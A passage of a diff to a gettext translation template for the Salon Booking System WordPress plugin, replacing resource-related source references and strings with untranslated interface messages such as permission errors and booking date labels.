src\u002FSLN\u002FPostType\u002FResource.php:120, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:120, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:120, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:120\n-msgid \"Resource ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:232\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:232\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192\n+msgid \"Sorry, you cannot update resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:123\n-msgid \"Is active\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:191\n+msgid \"Sorry, you cannot view resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:124\n-msgid \"Services assigned\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FPlugin.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FPlugin.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:73\n+msgid \"Sorry, your user role is not allowed.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:142, src\u002FSLN\u002FPostType\u002FService.php:179, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:179, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:179, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:179\n-msgid \"YES\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:9\n+msgid \"Spa\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:49\n+msgid \"Specific dates\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:48\n+msgid \"Specific days of the week\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:279\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:279\n+msgid \"Specify the amount without currency symbol\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:142\n-msgid \"NO\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:215\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:215\n+msgid \"Specify the fee amount without currency symbol\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:154, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:154, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:154\n-msgid \"Enter resource name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:136\n+msgid \"Staff member notification number\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:167, src\u002FSLN\u002FPostType\u002FResource.php:171, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:171, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:171\n-msgid \"Resource updated.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:241\n+msgid \"Start at\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the revision\n-#: src\u002FSLN\u002FPostType\u002FResource.php:174, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:174\n-msgid \"Resource restored to revision from %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:278\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:278\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:98\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:182\n+msgid \"Start date.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:178\n-msgid \"Resource published.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_holiday_row.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:235\n+msgid \"Start on\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:180, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:180\n-msgid \"Resource saved.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:134\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:134\n+msgid \"Start over\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FResource.php:182, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:182, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:182\n-msgid \"Resource submitted.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:28\n+msgid \"Start typing the email\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the date\n-#: src\u002FSLN\u002FPostType\u002FResource.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:186, 